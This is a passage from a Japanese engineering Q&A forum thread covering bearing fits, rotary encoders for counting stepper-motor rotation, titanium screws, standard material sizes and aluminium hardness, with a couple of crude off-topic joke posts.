ただし、アイドラーなどに使う「負荷の軽い場合」には、そこに書かれていることなど全部無視して、
すべて「Ｈ７〜Ｈ８程度」の、「止まり嵌め」にしておいてもなら問題はないだろう。

ベアリングのカタログは、メーカーに言えば無料で送ってもらえると思うので、それを熟読すれば、
今回疑問に思っていることの、かなりの部分が解決すると思われる。

>>761
＞兄貴のそそり勃った物を受けとめて１つになったその日以来

まで読んだ

学校の実験でステッピングモーターを使用しました。
この実験の考察で、
「モーターの回転数を計数するのに、モーターエンコーダーからのパルスを使い、
カウンタICやソフトウェアで計数できる。モーターエンコーダーとはどのような構造で
どのような原理か調べなさい」

というものがでました。
ぐぐって、本を探しても資料が見つかりません。
検索の仕方が悪いのかもしれませんが。

是非、モーターエンコーダーについて説明しているサイトについて、また説明していただける方、レスお待ちしています。

>>763
http://www.newport-japan.co.jp/pdf/motion_1076.pdf
ここの３ページ目からかな。
普通、ロータリーエンコーダと言うけどね。

>>764
資料ありがとうございます＾＾

早速、ロータリーエンコーダでぐぐってみまーす

ロリータと援交だに見えたのはおれだけじゃない！！

皆さん、ご教示ありがとうございました。
チタンがネジに不向きとは知りませんでした。
耐食性のみで考えておりました。

以前試験のマークシートの欄外を汚してしまって大丈夫かなあと言ってた者ですが
試験とおってました。レス戴いた方々ありがとうございました。

質問です。

1.定尺品に関して
厚みに関する規格はあるのですが
今までミスミや白銅で売っているものが定尺相当品と思っていましたが
幅や長さの方向に定尺はありますか？

2.アルミの硬さについて具体的な数値ををうたった資料はありませんか？
ベアリングの外側SUJやSUS440C(焼きなしですよね)に打ち勝ちたいのですが・・・

>>767　＞チタンがネジに不向きとは知りませんでした。

まぁそうとも、一概には、言えないとだと思うのだが。
滑るところの表面処理に、「チタンコーティング」と言うのも有るくらいだからさ。
「物性」と言うのは、本当に難しいもんだねぇ。（ｗ

摩擦 チタンコーティング
http://www.google.co.jp/search?biw=846&hl=ja&q=%E6%91%A9%E6%93%A6+%E3%83%81%E3%82%BF%E3%83%B3%E3%82%B3%E3%83%BC%E3%83%86%E3%82%A3%E3%83%B3%E3%82%B0&btnG=Google+%E6%A4%9C%E7%B4%A2&lr=

「チタンの特性」について詳しく知りたいなら、下のようなところで一度聞いてみられたら。
＞　　--------------------------------
＞　　東京大学大学院 工学系研究科　環境海洋工学専攻 技術職員ネットワーク
＞　　「　Ｑ＆Ａ （技術的質問と回答）　」
＞　　http://www.naoe.t.u-tokyo.ac.jp/member/tecnet/qa/index.html